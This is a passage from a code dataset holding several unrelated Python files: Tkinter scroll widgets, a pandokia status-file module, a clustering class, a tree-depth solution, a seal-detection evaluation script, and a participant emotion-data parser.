null,\n                    results varchar(20000) not null,\n                    uploadstate varchar(1) default 'n',\n                    created_at datetime not null default current_timestamp,\n                    FOREIGN KEY(barcodeid) REFERENCES user(barcode)\n                    );\n                ''')\n        except sqlite3.OperationalError as e:\n            # print('already exists')\n            if str(e)[-6:] == 'exists':\n                pass\n            else:\n                raise sqlite3.OperationalError\n\n\n# The following code is added to facilitate the Scrolled widgets you specified.\nclass AutoScroll(object):\n    '''Configure the scrollbars for a widget.'''\n\n    def __init__(self, master):\n        #  Rozen. Added the try-except clauses so that this class\n        #  could be used for scrolled entry widget for which vertical\n        #  scrolling is not supported. 5/7/14.\n        try:\n            vsb = ttk.Scrollbar(master, orient='vertical', command=self.yview)\n        except:\n            pass\n        hsb = ttk.Scrollbar(master, orient='horizontal', command=self.xview)\n\n        #self.configure(yscrollcommand=_autoscroll(vsb),\n        #    xscrollcommand=_autoscroll(hsb))\n        try:\n            self.configure(yscrollcommand=self._autoscroll(vsb))\n        except:\n            pass\n        self.configure(xscrollcommand=self._autoscroll(hsb))\n\n        self.grid(column=0, row=0, sticky='nsew')\n        try:\n            vsb.grid(column=1, row=0, sticky='ns')\n        except:\n            pass\n        hsb.grid(column=0, row=1, sticky='ew')\n\n        master.grid_columnconfigure(0, weight=1)\n        master.grid_rowconfigure(0, weight=1)\n\n        # Copy geometry methods of master  (taken from ScrolledText.py)\n        if py3:\n            methods = tk.Pack.__dict__.keys() | tk.Grid.__dict__.keys() \\\n                  | tk.Place.__dict__.keys()\n        else:\n            methods = tk.Pack.__dict__.keys() + tk.Grid.__dict__.keys() \\\n                  + tk.Place.__dict__.keys()\n\n        for meth in methods:\n            if meth[0] != '_' and meth not in ('config', 'configure'):\n                setattr(self, meth, getattr(master, meth))\n\n    @staticmethod\n    def _autoscroll(sbar):\n        '''Hide and show scrollbar as needed.'''\n        def wrapped(first, last):\n            first, last = float(first), float(last)\n            if first <= 0 and last >= 1:\n                sbar.grid_remove()\n            else:\n                sbar.grid()\n            sbar.set(first, last)\n        return wrapped\n\n    def __str__(self):\n        return str(self.master)\n\n\ndef _create_container(func):\n    '''Creates a ttk Frame with a given master, and use this new frame to\n    place the scrollbars and the widget.'''\n    def wrapped(cls, master, **kw):\n        container = ttk.Frame(master)\n        container.bind('<Enter>', lambda e: _bound_to_mousewheel(e, container))\n        container.bind('<Leave>', lambda e: _unbound_to_mousewheel(e, container))\n        return func(cls, container, **kw)\n    return wrapped\n\n\nclass ScrolledText(AutoScroll, tk.Text):\n    '''A standard Tkinter Text widget with scrollbars that will\n    automatically show/hide as needed.'''\n    @_create_container\n    def __init__(self, master, **kw):\n        tk.Text.__init__(self, master, **kw)\n        AutoScroll.__init__(self, master)\n\n\ndef _bound_to_mousewheel(event, widget):\n    child = widget.winfo_children()[0]\n    if platform.system() == 'Windows' or platform.system() == 'Darwin':\n        child.bind_all('<MouseWheel>', lambda e: _on_mousewheel(e, child))\n        child.bind_all('<Shift-MouseWheel>', lambda e: _on_shiftmouse(e, child))\n    else:\n        child.bind_all('<Button-4>', lambda e: _on_mousewheel(e, child))\n        child.bind_all('<Button-5>', lambda e: _on_mousewheel(e, child))\n        child.bind_all('<Shift-Button-4>', lambda e: _on_shiftmouse(e, child))\n        child.bind_all('<Shift-Button-5>', lambda e: _on_shiftmouse(e, child))\n\n\ndef _unbound_to_mousewheel(event, widget):\n    if platform.system() == 'Windows' or platform.system() == 'Darwin':\n        widget.unbind_all('<MouseWheel>')\n        widget.unbind_all('<Shift-MouseWheel>')\n    else:\n        widget.unbind_all('<Button-4>')\n        widget.unbind_all('<Button-5>')\n        widget.unbind_all('<Shift-Button-4>')\n        widget.unbind_all('<Shift-Button-5>')\n\n\ndef _on_mousewheel(event, widget):\n    if platform.system() == 'Windows':\n        widget.yview_scroll(-1*int(event.delta/120),'units')\n    elif platform.system() == 'Darwin':\n        widget.yview_scroll(-1*int(event.delta),'units')\n    else:\n        if event.num == 4:\n            widget.yview_scroll(-1, 'units')\n        elif event.num == 5:\n            widget.yview_scroll(1, 'units')\n\n\ndef _on_shiftmouse(event, widget):\n    if platform.system() == 'Windows':\n        widget.xview_scroll(-1*int(event.delta/120), 'units')\n    elif platform.system() == 'Darwin':\n        widget.xview_scroll(-1*int(event.delta), 'units')\n    else:\n        if event.num == 4:\n            widget.xview_scroll(-1, 'units')\n        elif event.num == 5:\n            widget.xview_scroll(1, 'units')\n\n#\ninstance = Toplevel1()\ninstance.root.mainloop()\n\n","sub_path":"Layouts/Network/Network.py","file_name":"Network.py","file_ext":"py","file_size_in_byte":18729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"175246627","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/jhunk/Downloads/pandokia/pandokia/run_status.py\n# Compiled at: 2018-05-14 14:25:23\n# Size of source mod 2**32: 12650 bytes\nimport ast, datetime, mmap, os, platform, sys, time\nmem = None\ntest_mode = None\nif test_mode:\n    saw_locked = 0\n    saw_changed = 0\nif platform.system() == 'Windows':\n\n    def init_status(*l, **kw):\n        pass\n\n\n    def pdkrun_status(*l, **kw):\n        pass\n\n\n    def display(*l, **kw):\n        pass\n\n\n    def display_interactive(*l, **kw):\n        pass\n\n\nelse:\n\n    def init_status(filename=None, n_records=10, status_text_size=2000):\n        \"\"\"Create a status file with n_records blank records in it\n        \"\"\"\n        valid_flag_size = 1\n        if filename is None:\n            filename = os.getcwd() + '/pdk_statusfile'\n            try:\n                os.unlink(filename)\n            except:\n                pass\n\n        with open(filename, 'w') as (fp):\n\n            def gen_header():\n                s = '********PDKRUN status monitor 000\\n%08d %d %d %d\\n' % (\n                 header_size, status_text_size, n_records, valid_flag_size)\n                return s\n\n            header_size = 0\n            header = gen_header()\n            header_size = len(header)\n            header = gen_header()\n            assert header_size == len(header)\n            fp.write(('%08x' % int(time.time()))[0:8])\n            fp.write(header[8:])\n            for x in range(n_records):\n                fp.write(' ' * (valid_flag_size + status_text_size))\n                fp.write('\\n')\n\n        return filename\n\n\n    class status_block(object):\n\n        def __init__(self, filename, mode):\n            if mode == 'w':\n                mode = 'r+b'\n                prot = mmap.PROT_READ | mmap.PROT_WRITE\n            else:\n                mode = 'rb'\n                prot = mmap.PROT_READ\n            with open(filename, mode) as (fp):\n                for lineno, record in enumerate(fp):\n                    record = record.decode()\n                    if lineno == 0:\n                        if record[8:] != 'PDKRUN status monitor 000\\n':\n                            raise Exception('Not a PDKRUN status monitor file: %s' % filename)\n                        else:\n                            if lineno == 1:\n                                header = record.strip().split(' ')\n\n                self._fd = os.dup(fp.fileno())\n            self.header_size = int(header[0])\n            self.status_text_size = int(header[1])\n            self.n_records = int(header[2])\n            self.valid_flag_size = int(header[3])\n            self.record_size = self.valid_flag_size + self.status_text_size + 1\n            self.status_text_offset = self.valid_flag_size\n            self.locked_valid_flag = 'X' * self.valid_flag_size\n            self.file_size = self.record_size * self.n_records + self.header_size\n            self.mem = mmap.mmap(fileno=(self._fd),\n              length=(self.file_size),\n              flags=(mmap.MAP_SHARED),\n              prot=prot)\n            self.header_timestamp = self.mem[0:8]\n\n        def header_changed(self):\n            return self.mem[0:8] != self.header_timestamp\n\n        def get_status_text(self, n):\n            return self.get_value_at_offset(n, self.status_text_offset, self.status_text_size)\n\n        def get_value_at_offset(self, n, offset, len):\n            global saw_changed\n            global saw_locked\n            start = self.header_size + n * self.record_size\n            flag = self.mem[start:start + self.valid_flag_size]\n            if flag == self.locked_valid_flag:\n                if test_mode:\n                    if test_mode == 'L':\n                        saw_locked += 1\n                        return 'locked'\n                return\n            else:\n                s = self.mem[start + offset:start + offset + len]\n                if flag != self.mem[start:start + self.valid_flag_size]:\n                    if test_mode and test_mode == 'C':\n                        saw_changed += 1\n                        return 'changed'\n                    else:\n                        return\n                return s\n\n        def set_my_record(self, n):\n            if n >= self.n_records:\n                raise Exception('only %d records in file - using #%d\\n' % (\n                 self.n_records, n))\n            self.my_record = n\n            self.my_record_offset = self.header_size + n * self.record_size\n\n        def set_status_text(self, value):\n            return self.set_value_at_offset(self.status_text_offset, self.status_text_size, value)\n\n        def set_value_at_offset(self, offset, blocklen, value):\n            start = self.my_record_offset\n            old_valid_flag = self.mem[start:start + self.valid_flag_size]\n            try:\n                self.mem[start:start + self.valid_flag_size] = self.locked_valid_flag\n            except TypeError:\n                self.mem[start:start + self.valid_flag_size] = bytes(self.locked_valid_flag, 'ascii')\n\n            if len(value) < blocklen:\n                value = value + ' ' * (blocklen - len(value) + 1)\n            value = value[0:blocklen]\n            try:\n                s = self.mem[start + offset:start + offset + blocklen] = value\n            except TypeError:\n                s = self.mem[start + offset:start + offset + blocklen] = bytes(value, 'ascii')\n\n            try:\n                n = int(old_valid_flag) + 1 & 7\n            except:\n                n = 0\n\n            try:\n                self.mem[start:start + self.valid_flag_size] = '%*d' % (self.valid_flag_size, n)\n            except TypeError:\n                self.mem[start:start + self.valid_flag_size] = bytes('%*d' % (\n                 self.valid_flag_size,\n                 n), 'ascii')\n\n\n    if __name__ == '__main__':\n        s = sys.stdin.readline().strip()\n        if s == 'i':\n            init_status('pdk_statusfile', 10)\n            s = 'w'\n        if s == 's':\n            m = status_block('pdk_statusfile')\n            m.set_my_record(1)\n            for x in range(0, 10000000):\n                m.set_status_text('%d' % x)\n\n        else:\n            m = status_block('pdk_statusfile')\n            m.set_my_record(int(s))\n            while 1:\n                print('>')\n                l = sys.stdin.readline().strip()\n                if l[0] in '0123456789':\n                    n = int(l.split()[0])\n                    m.set_my_record(n)\n                else:\n                    if l[0] == 's':\n                        m.set_status_text(l[1:])\n                    else:\n                        print('?')\n\n    def pdkrun_status(text, slot=None):\n        \"\"\"A status setting function for use within pdkrun\n\n        You call pdkrun_status( text ) to set your status\n\n        slot is the slot number to note the status in (default is PDK_PROCESS_SLOT environment)\n        \"\"\"\n        global mem\n        if 'PDK_STATUSFILE' not in os.environ:\n            return\n        else:\n            if os.environ['PDK_STATUSFILE'] == 'none':\n                return\n            if slot is None:\n                if 'PDK_PROCESS_SLOT' in os.environ:\n                    slot = int(os.environ['PDK_PROCESS_SLOT'])\n                else:\n                    slot = 0\n            if mem is None:\n                mem = status_block(os.environ['PDK_STATUSFILE'], 'w')\n                mem.set_my_record(slot)\n        mem.set_status_text(repr(text) + ',%d' % time.time())\n\n\n    def display(visual, waiting_for_start):\n        filename = 'pdk_statusfile'\n        done_waiting = not waiting_for_start\n        if waiting_for_start:\n            while not os.path.exists(filename):\n                time.sleep(1)\n\n        m = status_block(filename, 'r')\n        times = {}\n        while True:\n            if visual:\n                sys.stdout.write('\\x1b[H\\x1b[J')\n            elif m.header_changed():\n                m = status_block(filename, 'r')\n                done_waiting = not waiting_for_start\n            else:\n                any = 0\n                for x in range(0, m.n_records):\n                    s = m.get_status_text(x)\n                    if s is None:\n                        sys.stdout.write('-')\n                    else:\n                        try:\n                            text, tyme = ast.literal_eval(s)\n                        except SyntaxError:\n                            text = str(s).strip()\n                            tyme = 'None'\n                        else:\n                            if tyme not in times:\n                                times = {}\n                                times[tyme] = str(datetime.datetime.fromtimestamp(tyme))\n                            tyme = times[tyme]\n                            text = str(text).strip()\n                            if text != '':\n                                any = 1\n                                done_waiting = 1\n                            sys.stdout.write('%2d %s %s' % (x, tyme, text))\n                    if visual:\n                        sys.stdout.write('\\x1b[K')\n                    sys.stdout.write('\\n')\n\n                if test_mode:\n                    sys.stdout.write('%d %d %d\\n' % (\n                     time.time(), saw_locked, saw_changed))\n                if not visual:\n                    break\n                if not any:\n                    if done_waiting:\n                        break\n            time.sleep(1)\n\n\n    def display_interactive(args):\n        display(1, 1)","sub_path":"pycfiles/pandokia-2.3.0.tar/run_status.cpython-36.py","file_name":"run_status.cpython-36.py","file_ext":"py","file_size_in_byte":9561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"311451740","text":"\nclass CCluster:\n\n    def __init__(self, r):\n        \n        self.__t = []\n        self.__r = r\n        self.__S = 0\n        self.__W = 0\n        self.__A = None\n        self.__ln = None\n        self.__elems = [ {} for _ in range(22) ]\n\n    def __len__(self):\n        \n        if self.__ln == None:\n            \n            self.__ln = len(self.__t)\n\n        return self.__ln\n\n    def __iter__(self):\n\n        for t in self.__t:\n\n            yield t\n\n    def A(self):\n\n        if self.__A == None:\n\n            g = float(self.__S) / (self.__W ** self.__r) if self.__W else 0\n            self.__A = g * len(self)\n\n        return self.__A\n\n    def append(self, t):\n        \n        if t not in self.__t:\n\n            self.__t.append(t)\n            self.__A = None\n            self.__ln = None\n            self.__S += t.D\n\n            for (elem, ind) in t:\n\n                if elem in self.__elems[ind]: self.__elems[ind][elem] += 1\n                else: self.__elems[ind][elem] = 1\n\n                if self.__elems[ind][elem] == 1: self.__W += 1\n\n    def delete(self, t):\n        \n        if t in self.__t:\n\n            del(self.__t[self.__t.index(t)])\n            self.__A = None\n            self.__ln = None\n            self.__S -= t.D\n\n            for (elem, ind) in t:\n\n                self.__elems[ind][elem] -= 1\n                if self.__elems[ind][elem] == 0: self.__W -= 1\n\n    def __str__(self):\n\n        ln = len(self)\n        p = 0\n\n        for t in self.__t:\n\n            if t.cls() == \"p\":\n                \n                p += 1\n\n        return \"%u transactions, %u p, %u e\" % ( ln, p, ln - p )\n\nclass CClusterSet:\n\n    __len__ = lambda self: len(self.__clusters)\n    __getitem__ = lambda self, ind: self.__clusters[ind]\n\n    def __init__(self, r, cluster_num):\n\n        self.__clusters = [ CCluster(r) for _ in range(cluster_num) ]\n\n    def __iter__(self):\n\n        for c in self.__clusters:\n\n            yield c\n\n    def delete(self, c_ind):\n\n        del(self.__clusters[c_ind])\n\n    def profit(self):\n\n        A = 0\n        B = 0\n\n        for c in self.__clusters:\n\n            A += c.A()\n            B += len(c)\n\n        return float(A) / B\n\n    def profit_with_temporary_append(self, c_ind, t):\n\n        self.__clusters[c_ind].append(t)\n        profit = self.profit()\n        self.__clusters[c_ind].delete(t)\n\n        return profit\n\n","sub_path":"cluster.py","file_name":"cluster.py","file_ext":"py","file_size_in_byte":2352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"186895921","text":"\"\"\"\n# Definition for a Node.\nclass Node:\n    def __init__(self, val=None, children=None):\n        self.val = val\n        self.children = children\n\"\"\"\nclass Solution:\n    def maxDepth(self, root: 'Node') -> int:\n        if root is None: return 0\n        max_depth = 1\n        def search(node, depth):\n            if node is None: return\n            nonlocal max_depth\n            if depth > max_depth: max_depth = depth\n            for child in node.children:\n                search(child, depth+1)\n            return\n\n        search(root, 1)\n        return max_depth\n","sub_path":"LeetCode/Easy/559MaximumDepthofN-aryTree-2.py","file_name":"559MaximumDepthofN-aryTree-2.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"212556469","text":"import os\nimport pandas as pd\n\nfrom metrics.BoundingBox import *\nfrom metrics.BoundingBoxes import BoundingBoxes\nfrom metrics.Evaluator import Evaluator\nfrom metrics.utils import CoordinatesType\n\nimport argparse\n# An example detection results file can be found at\n# https://drive.google.com/file/d/18PzWcAUwu9kdagB1Cz4XmH5r6kJdvx2p/view?usp=sharing\n# which can be evaluated against data/updated_seals.csv in this repo\nparser = argparse.ArgumentParser(description='Evaluate RGB Detectors.')\nparser.add_argument('--gts', help='Ground Truth CSV Path', required=True)\nparser.add_argument('--dets', help='Viame Detections CSV Path', required=True)\nparser.add_argument('--nms', default=.5, help='nms threshold', type=float)\nparser.add_argument('--iou', default=.5, help='iou threshold', type=float)\nparser.add_argument('--conf', default=0.0, help='minimum confidence threshold', type=float)\nparser.add_argument('--detectiononly', dest='detectiononly', action='store_true', help='minimum confidence threshold')\nparser.add_argument('--updated_csv', dest='updated_csv', action='store_true', help='for Yuvals updated csv only')\n\nargs = parser.parse_args()\n\nDETECTIONS_CSV = args.dets\nGROUND_TRUTH_CSV = args.gts\nNMS_THRESH = args.nms\nIOUThreshold = args.iou\nCONFIDENCE_THRESH = args.conf\nDETECTION_ONLY = args.detectiononly\nYUVALS_CSV = args.updated_csv\n\n\n# READ DATA FROM BOTH FILES INTO PANDAS\nground_truth_data = pd.read_csv(GROUND_TRUTH_CSV, dtype={'hotspot_id': object})\n\nx1_col, x2_col, y1_col, y2_col = \"color_left\",\"color_right\",\"color_top\",\"color_bottom\"  # Use for original NOAA format\nnumeric_cols = [\"thermal_x\", \"thermal_y\", \"color_left\", \"color_top\",\n                \"color_right\", \"color_bottom\"]\n\n# My updated labels file has different headers for box label bounds\nif YUVALS_CSV:\n    x1_col, x2_col, y1_col, y2_col = \"updated_left\", \"updated_right\", \"updated_top\", \"updated_bottom\"  # Use for files w/my udpated labels\n\n    numeric_cols = [\"thermal_x\", \"thermal_y\", \"color_left\", \"color_top\",\n                    \"color_right\", \"color_bottom\", \"updated_left\",\n                    \"updated_top\", \"updated_right\", \"updated_bottom\"]\n\nground_truth_data[numeric_cols] = \\\n    ground_truth_data[numeric_cols].apply(pd.to_numeric)\n\nbounding_boxes= BoundingBoxes()\n#\n# Read the output csv file from VIAME and create BoundingBox objects using\n# the label with highest confidence for each box.  Then do the same with the\n# ground truth csv file\n#\nwith open(DETECTIONS_CSV) as f:\n    rows = [line.split(',') for line in f]  # create a list of lists\n    rows = rows[2:]\n    for row in rows:\n        det_id, img_name, frame_id, x1, y1, x2, y2, conf, _ = row[:9]\n\n        det_id = int(det_id)\n        x1 = int(x1)\n        y1 = int(y1)\n        x2 = int(x2)\n        y2 = int(y2)\n        conf = float(conf)\n        label = \"ERR\"\n        multilabels = row[9:]\n        for i in range(0, len(multilabels), 2):  # use label with highest confidence\n            label_conf = float(multilabels[i + 1])\n            if label_conf == conf:\n                label = multilabels[i]\n        if \"ringed\" in label:\n            label = \"Ringed Seal\"\n        if \"bearded\" in label:\n            label = \"Bearded Seal\"\n        if \"unk\" in label:\n            label = \"UNK Seal\"\n        if DETECTION_ONLY:\n            label = \"Seal\"\n        bbox = BoundingBox(imageName=img_name, classId=label,\n                           x=x1, y=y1, w=x2, h=y2, typeCoordinates=CoordinatesType.Absolute,\n                           bbType=BBType.Detected, classConfidence=conf, format=BBFormat.XYX2Y2\n                           )\n\n        bounding_boxes.addBoundingBox(bbox)\nbounding_boxes=bounding_boxes.nms(NMS_THRESH, CONFIDENCE_THRESH) # NMS Step\nfor index, row in ground_truth_data.iterrows():\n    hsId = row[\"hotspot_id\"]\n    x1 = row[x1_col]\n    x2 = row[x2_col]\n    y1 = row[y1_col]\n    y2 = row[y2_col]\n    label = row['species_id']\n    img_name = row['color_image']\n    if DETECTION_ONLY:\n        label = \"Seal\"\n    bbox = BoundingBox(imageName=img_name, classId=label,\n                       x=x1, y=y1, w=x2, h=y2, typeCoordinates=CoordinatesType.Absolute,\n                       bbType=BBType.GroundTruth, format=BBFormat.XYX2Y2, hsId=hsId\n                       )\n\n    bounding_boxes.addBoundingBox(bbox)\n\n\nevaluator = Evaluator()\nmetrics = evaluator.GetPascalVOCMetrics(bounding_boxes, IOUThreshold=IOUThreshold,\n                                        CONFIDENCE_THRESH=CONFIDENCE_THRESH)\nprint(\"Ground truth file: %s\" % GROUND_TRUTH_CSV)\nprint(\"VIAME detections file: %s\" % DETECTIONS_CSV)\nprint(\"NMS %.3f - IOU %.3f - CONFIDENCE %.3f\" % (NMS_THRESH, IOUThreshold, CONFIDENCE_THRESH))\nprint(\"\\n\\n\")\n\nall_tps = []\nall_fps = []\nall_fns = []\nfor class_met in metrics:\n    all_tps += class_met['TP_items']\n    all_fps += class_met['FP_items']\n    all_fns += class_met['FN_items']\n    label = class_met['class']\n    print(\"%s:\"%label)\n    tps = class_met[\"total TP\"]\n    fps = class_met[\"total FP\"]\n    fns = class_met[\"total FN\"]\n    if tps ==0 and fps == 0:\n        print(\"No detections for class %s\" % label)\n        continue\n    precision = tps/(tps+fps)\n    recall = tps / (tps+fns)\n    print(\"TP %d - FP %d - FN %d\" % (int(tps),int(fps),int(fns)))\n    print(\"Precision: %f\" % precision)\n    print(\"Recall: %f\" % recall)\n    print(\"\")\n\ntps_df = pd.DataFrame(all_tps)\nfps_df = pd.DataFrame(all_fps)\n\ntps_df = tps_df.sort_values('image')\nfps_df = fps_df.sort_values('image')\ntps_df = tps_df.reset_index(drop=True)\nfps_df = fps_df.reset_index(drop=True)\ntps_df = tps_df[['image','label','confidence','left','bottom','right','top','groundtruth_hs_id']]\nfps_df = fps_df[['image','label','confidence','left','bottom','right','top']]\ntps_df.to_csv(\"tps.csv\")\nfps_df.to_csv(\"fps.csv\")\n\n\n# False negatives gets saved as original ground truth csv format with only hotspots that are fns\nfns_df = ground_truth_data.loc[ground_truth_data['hotspot_id'].isin(all_fns)]\nfns_df.to_csv(\"fns.csv\")","sub_path":"scripts/evaluate_viame_rgb_detections.py","file_name":"evaluate_viame_rgb_detections.py","file_ext":"py","file_size_in_byte":5945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"521749892","text":"from statistics import mean, stdev\r\nfrom scipy.stats import ttest_ind\r\nfrom pickle import dump\r\nimport os\r\nimport re\r\nimport numpy as np\r\nfrom collections import Counter\r\nfrom operator import itemgetter\r\nimport csv\r\n\r\nVIDEO_DIR = 'data\\\\VideoFiles\\\\'\r\nVIDEO_BL_DIR = 'data\\\\VideoBaselineFiles\\\\'\r\n\r\n\r\nDATA_DIR = 'data\\\\'\r\nDICT_FILE = 'data_dict'\r\nINVALID_LIST = [999,37,43]\r\n\r\n\r\ndef createParticipants():\r\n    emotions = {\r\n        0: \"happy\",\r\n        1: \"sad\",\r\n        2: \"neutral\"\r\n    }\r\n    details = {}\r\n    participants = {}\r\n    with open(DATA_DIR + 'Participant.csv') as participantFile:\r\n        for line in participantFile.readlines():\r\n            details = {}\r\n            l = [x.strip() for x in line.split(',')]\r\n            if (l[0] == '0'):\r\n                continue\r\n            if (l[0] == 'NULL'):\r\n                return participants\r\n            #read details from participant data table\r\n            identification = int(l[0][-3:])\r\n            details['emotion'] = (emotions.get(int(l[2])), int(l[2]))\r\n            details['videoBaseline'] = l[3]\r\n            details['videoBaselineLabeled'] = l[4]\r\n            details['videoBaselineData'] = l[5]\r\n            details['video'] = l[6]\r\n            details['videoLabeled'] = l[7]\r\n            details['videoData'] = l[8]\r\n            details['audioBaseline'] = l[9]\r\n            details['audioBaselineData'] = l[10]\r\n            details['audio'] = l[11]\r\n            details['audioData'] = l[12]\r\n            details['writingTime'] = float(l[13])\r\n            details['ultimatumOffer'] = float(l[14])\r\n            details['ultimatumOfferPercent'] = float(l[15])\r\n            details['ultimatumInstructionRT'] = float(l[16])\r\n            details['ultimatumDMrt'] = float(l[17])\r\n            details['trustOffer'] = float(l[18])\r\n            details['trustOfferPercent'] = float(l[19])\r\n            details['trustInstructionRT'] = float(l[20])\r\n            details['trustDMrt'] = float(l[21])\r\n            selfReport = {}\r\n            videoBLFreq = {}\r\n            videoFreq = {}\r\n            audioBL = {}\r\n            audio = {}\r\n            details['selfReport'] = selfReport\r\n            details['videoBLFreq'] = videoBLFreq\r\n            details['videoFreq'] = videoFreq\r\n            details['audioBL'] = audioBL\r\n            details['audio'] = audio\r\n            participants[identification] = details\r\n\r\n    return participants\r\n\r\n\r\ndef getSelfReportData(participantDict):\r\n    #get info from self-report data table\r\n    emotions = {\r\n        1: \"apathy\",\r\n        2: \"sadness\",\r\n        3: \"calm\",\r\n        4: \"amusement\",\r\n        5: \"grief\",\r\n        6: \"happiness\"\r\n    }\r\n    emotion = 1\r\n    with open(DATA_DIR + 'SelfReport.csv') as selfReportFile:\r\n        for line in selfReportFile.readlines():\r\n            l = [x.strip() for x in line.split(',')]\r\n            if (l[0] == 'NULL'):\r\n                return\r\n            if (emotion == 1):\r\n                identification = int(l[1][-3:])\r\n                participant = participantDict[identification]\r\n            participant['selfReport'][emotions.get(emotion)] = int(l[3])\r\n            emotion += 1\r\n            if (emotion == 7):\r\n                emotion = 1\r\n    return\r\n\r\n\r\ndef getVideoData(participantDict):\r\n    emotions = {\r\n        1: \"angry\",\r\n        2: \"disgust\",\r\n        3: \"fear\",\r\n        4: \"happy\",\r\n        5: \"sad\",\r\n        6: \"surprise\",\r\n        7: \"neutral\"\r\n    }\r\n    emotion = 1\r\n    with open(DATA_DIR + 'VideoBaseline.csv') as videoBLFile:\r\n        for line in videoBLFile.readlines():\r\n            l = [x.strip() for x in line.split(',')]\r\n            if (l[0] == 'NULL'):\r\n                break\r\n            if (emotion == 1):\r\n                identification = int(l[1][-3:])\r\n                participant = participantDict[identification]\r\n            participant['videoBLFreq'][emotions.get(emotion)] = float(l[3])\r\n            emotion += 1\r\n            if (emotion == 8):\r\n                emotion = 1\r\n\r\n    with open(DATA_DIR + 'VideoEmotion.csv') as videoFile:\r\n        for line in videoFile.readlines():\r\n            l = [x.strip() for x in line.split(',')]\r\n            if (l[0] == 'NULL'):\r\n                return\r\n            if (emotion == 1):\r\n                identification = int(l[1][-3:])\r\n                participant = participantDict[identification]\r\n            participant['videoFreq'][emotions.get(emotion)] = float(l[3])\r\n            emotion += 1\r\n            if (emotion == 8):\r\n                emotion = 1\r\n    return\r\n\r\n\r\ndef getAudioData(participantDict):\r\n    emotions = {\r\n        1: \"neutral\",\r\n        2: \"happy\",\r\n        3: \"sad\",\r\n        4: \"angry\",\r\n        5: \"fear\"\r\n    }\r\n    emotion = 1\r\n    with open(DATA_DIR + 'AudioBaseline.csv') as audioBLFile:\r\n        for line in audioBLFile.readlines():\r\n            l = [x.strip() for x in line.split(',')]\r\n            if (l[0] == 'NULL'):\r\n                break\r\n            if (emotion == 1):\r\n                identification = int(l[1][-3:])\r\n                participant = participantDict[identification]\r\n            participant['audioBL'][emotions.get(emotion)] = float(l[3])\r\n            emotion += 1\r\n            if (emotion == 6):\r\n                emotion = 1\r\n\r\n    with open(DATA_DIR + 'AudioEmotion.csv') as audioFile:\r\n        for line in audioFile.readlines():\r\n            l = [x.strip() for x in line.split(',')]\r\n            if (l[0] == 'NULL'):\r\n                return\r\n            if (emotion == 1):\r\n                identification = int(l[1][-3:])\r\n                participant = participantDict[identification]\r\n            participant['audio'][emotions.get(emotion)] = float(l[3])\r\n            emotion += 1\r\n            if (emotion == 6):\r\n                emotion = 1\r\n    return\r\n\r\n\r\ndef getVideoEmotionProbMean(directory, filename_type, participants, key):\r\n    for filename in os.listdir(directory):\r\n        if re.match(filename_type + '[0-9]+', filename):\r\n            participant_id = int(re.search('[0-9]+', filename).group()[-3:])\r\n            with open(directory + filename, 'r') as f:\r\n                emotions = f.readline().split()[1:]\r\n                emotion_prob = np.array([0.0] * len(emotions))\r\n                num_lines = 0\r\n                for line in f.readlines():\r\n                    num_lines += 1\r\n                    prob = np.array([float(p) for p in line.split()[1:]])\r\n                    emotion_prob += prob\r\n                emotion_prob = emotion_prob / num_lines\r\n            emotion_dict = dict(zip(emotions, emotion_prob))\r\n            participants[participant_id][key] = emotion_dict\r\n\r\n\r\ndef getVideoAboveThresholdEmotionFreq(directory, filename_type, participants, key):\r\n    threshold = 0.5\r\n    for filename in os.listdir(directory):\r\n        if re.match(filename_type + '[0-9]+', filename):\r\n            participant_id = int(re.search('[0-9]+', filename).group()[-3:])\r\n            with open(directory + filename, 'r') as f:\r\n                emotions = f.readline().split()[1:]\r\n                emotions_count = Counter()\r\n                for line in f.readlines():\r\n                    prediction = line.split()[0]\r\n                    probabilities = [float(p) for p in line.split()[1:]]\r\n                    if probabilities[emotions.index(prediction)] >= threshold:\r\n                        emotions_count[prediction] += 1\r\n                total = sum(emotions_count.values())\r\n                emotions_freq = {e:v/total for e,v in emotions_count.items()}\r\n                # add zero frequencies for emotions that never passed threshold\r\n                for e in emotions:\r\n                    if e not in emotions_freq.keys():\r\n                        emotions_freq[e] = 0\r\n                participants[participant_id][key] = emotions_freq\r\n\r\n\r\ndef getVideoEmotionFreqSkipBeginning(directory, filename_type, participants, key):\r\n    n_skip = 100\r\n    for filename in os.listdir(directory):\r\n        if re.match(filename_type + '[0-9]+', filename):\r\n            participant_id = int(re.search('[0-9]+', filename).group()[-3:])\r\n            with open(directory + filename, 'r') as f:\r\n                emotions = f.readline().split()[1:]\r\n                frames = f.readlines()\r\n                frames_relevant = frames[n_skip:]\r\n                frames_predictions = [line.split()[0] for line in frames_relevant]\r\n                emotion_pred, emotion_counts = np.unique(frames_predictions,\r\n                                                         return_counts=True)\r\n                emotions_freq = emotion_counts / len(frames_predictions)\r\n                freq_dict = {e: c for e, c in zip(emotion_pred, emotions_freq)}\r\n                # add zero frequencies for emotions that weren't found\r\n                for e in emotions:\r\n                    if e not in freq_dict.keys():\r\n                        freq_dict[e] = 0\r\n                participants[participant_id][key] = freq_dict\r\n\r\n\r\ndef getVideoFreqTopPercent(directory, filename_type, participants, key):\r\n    percent = 5/100\r\n    for filename in os.listdir(directory):\r\n        if re.match(filename_type + '[0-9]+', filename):\r\n            participant_id = int(re.search('[0-9]+', filename).group()[-3:])\r\n            with open(directory + filename, 'r') as f:\r\n                emotions = f.readline().split()[1:]\r\n                emotions_pred_prob = []\r\n                for line in f.readlines():\r\n                    prediction = line.split()[0]\r\n                    probabilities = [float(p) for p in line.split()[1:]]\r\n                    emotions_pred_prob.append((prediction,probabilities[emotions.index(prediction)]))\r\n                total = len(emotions_pred_prob)\r\n                # sort according to probabilites\r\n                emotions_pred_prob.sort(key=itemgetter(1))\r\n                top_percent = emotions_pred_prob[-round(percent*total):]\r\n                emotions_pred_list = [e[0] for e in top_percent]\r\n                emotion_pred, 